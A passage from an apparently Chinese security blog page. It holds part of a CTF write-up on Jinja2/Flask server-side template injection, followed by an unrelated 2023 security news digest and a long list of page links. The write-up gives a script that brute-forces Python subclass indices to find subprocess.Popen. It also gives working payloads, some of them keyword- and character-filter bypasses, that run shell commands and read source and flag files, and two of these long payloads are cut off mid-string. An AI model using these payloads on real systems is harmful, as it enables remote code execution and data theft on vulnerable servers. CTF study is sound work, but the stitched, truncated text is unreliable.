这里附上网上的脚本寻找利用类及下标: import requests import re import html import time index = 0 for i in range(170, 1000):   try:       url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"       r = requests.get(url)       res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)       time.sleep(0.1)       # print(res)       # print(r.text)       res = html.unescape(res[0])       print(str(i) + " | " + res)       if "subprocess.Popen" in res:           index = i           break   except:       continue print("indexo of subprocess.Popen:" + str(index)) 得到利用类的下标为258: 接着就可以开始构造拿flag了。 ?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目录) 成功拿到flag: 再来看一道过滤了关键字的题目,使用上面提到的方法进行构造且分析思路。 # [GYCTF2020]FlaskApp 这道题过滤了os、flag、chr、popen、eval、request等常用关键字,需要进行绕过。 首先打开题目发现是一个用https://so.csdn.net/so/search?q=flask&spm=1001.2101.3001.7020写的一个base64加解密应用。有一个加密页面和解密页面,思路应该是在加密页面输入payload进行加密,加密结果在解密页面进行解密,输出解密后的payload被渲染到页面输出后执行了payload,使其报错发现有个源文件app.py及加解密原理。有个模板渲染,然而SSTI注入的原因正是由于render_template_string的不正确的使用以及没有对用户输入的数据进行有效的过滤导致的。 获取源码 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %} 利用上面提到的使用+拼接字符串绕过os、import等被过滤关键字以便找目录与执行命令。构造如下: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %} 拿到文件,接着读取,注意flag要使用拼接: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %} 成功拿到flag: 再来看一道过滤字符的题目,以便测试利用上述绕过各种字符的方法。 # [Dest0g3 520迎新赛]EasySSTI 根据题目名称提示,这题考察SSTI,进入题目是一个登录框,点击登录可以回显用户名,发现在username处有jinja2模板引擎的SSTI漏洞: 经过Fuzz,发现过滤了_.'"[]等字符,还有各种class、request、eval等关键字以及空格。 最终还是要达到实现{{lipsum.__globals__['os'].popen('ls').read()}}进行命令执行的目的,其他字符可以使用过滤器和join拼接字符达到绕过,空格的话使用%0a换行符绕过。 {%set%0apo=dict(po=a,p=a)|join()%}                       #pop {%set%0aa=(()|select|string|list)|attr(po)(24)%}         #_ {%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} #globals {%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem {%set%0ape=dict(po=aaa,pen=aaa)|join()%}                 #popen {%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}               #read dict(o=a,s=a)|join()               #获取 os (config|string|list)|attr(po)(279) #获取 / {{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}} 等价于: {{lipsum.__globals__['os'].popen('ls').read()}} 先使用ls查看有哪些文件,构造如下 {%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att ((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join() 使用()|select|string|list获取flag的具体位置: ((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join() 接着将命令修改为cat /flag 最终构造如下: {%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att 成功拿到flag: 总结 对于ssti注入,其实掌握基本的常用的方法,按照常规的思路进行构造,有哪些被过滤的就用相应的方法进行绕过,按照模板走大多数题目都能解出来,但是最重要的还是自己动手尝试构造,体会其中的原理,因为还要考虑题目解释器版本不同、类方法所在索引不同,构造出来的语句也不一样。对于python里的jinja2 ssti注入就分析到这里,后续还会总结java、php中常用模板的ssti注入,下回见。
网络安全日报 2023年03月30日
1、QNAP 修复了 NAS 设备中的 Sudo 提权漏洞 https://securityaffairs.com/144200/security/qnap-sudo-flaw.html QNAP 警告客户更新他们的网络附加存储 (NAS) 设备以解决高危 Sudo 特权提升漏洞。 2、OpenAI 修复了 ChatGPT 中的帐户接管漏洞 https://securityaffairs.com/144184/hacking/chatgpt-account-takeover-bugs.html OpenAI 解决了流行的聊天机器人 ChatGPT 中的多个严重漏洞,这些漏洞可能被用来接管帐户。 3、Clipper 恶意软件攻击利用木马化 TOR 浏览器安装程序进行传播 https://securityaffairs.com/144158/hacking/tor-browser-installers-clipper.html 巴斯基研究人员发现了一个木马化版本的 Tor 浏览器,该浏览器正在俄罗斯和东欧传播 clipper 恶意软件。 4、OpenSSL 1.1.1 即将到达EoL:安全更新仅到 2023 年 9 月 https://www.securityweek.com/openssl-1-1-1-nears-end-of-life-security-updates-only-until-september-2023/ OpenSSL 1.1.1 将在六个月内达到 EoL,并指示用户升级到更新的版本或支付扩展支持以继续接收安全补丁。 5、新的 Wi-Fi 攻击方法允许流量拦截、绕过客户端隔离 https://www.securityweek.com/new-wi-fi-attack-allows-traffic-interception-security-bypass/ 研究人员发现了一种新的攻击方式,可以在Wi-Fi网络中拦截MAC层的流量,即使是不允许相互通信的客户端之间也可以。该漏洞被跟踪为CVE-2022-47522。 6、澳大利亚博彩巨头Crown Resorts遭Cl0p勒索软件攻击并导致数据泄露 https://securityaffairs.com/144193/data-breach/crown-resorts-clop-ransomware.html 澳大利亚的赌博和娱乐巨头Crown Resorts披露了一起数据泄露事件,该事件是由最近发现的GoAnywhere零日漏洞所导致。Cl0p勒索软件组声称通过利用Fortra的GoAnywhere MFT安全文件传输工具中的一个零日漏洞(CVE-2023-0669)窃取了超过130个组织的敏感数据,其中包括澳大利亚赌场巨头Crown Resorts。尽管此次事件发生在1月份,但公司直到本周才公开披露数据泄露事件。 7、Exchange Online 将阻止来自易受攻击的本地服务器的电子邮件 https://www.bleepingcomputer.com/news/security/exchange-online-to-block-emails-from-vulnerable-on-prem-servers/ 微软正在引入一项新的 Exchange Online 安全功能,能以通知 的方式告知账户管理员存在风险的Exchange服务器,并自动拒绝该服务器发送的电子邮件。 8、谷歌披露了两个针对苹果和安卓设备的全球间谍软件活动 https://cyberscoop.com/google-tag-spyware-android-ios-chrome/ 谷歌威胁分析小组周三披露了两个“有限且针对性强”的间谍软件活动,它们利用零日漏洞以及已知但未修补的安全漏洞来破坏对安卓和苹果 iOS 设备以及谷歌 Chrome 浏览器的保护。 9、研究人员披露新APT组织APT43的挖矿攻击活动 https://cyberscoop.com/north-korean-hackers-cloud-mining-cyrptocurrency/ 网络安全公司Mandiant发现了一个名为APT43的新黑客组织,该组织使用盗窃的比特币来资助其网络间谍活动。与其他从事加密货币相关网络犯罪的朝鲜黑客组织不同,Mandiant的研究人员认为APT43利用盗来的资金资助自己的黑客和网络间谍活动,而不是进行国家资助的行动。 10、黑客归还从 Euler Finance 盗走的 2 亿美元 https://www.hackread.com/hacker-returns-200-million-euler-finance/ Euler Finance 于 2023 年 3 月 13 日遭到黑客攻击,价值约 1.97 亿美元的加密货币被盗,其中包括 1.358 亿美元的 stETH、3380 万美元的 USDC、1850 万美元的 WBTC 和 870 万美元的 DAI。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页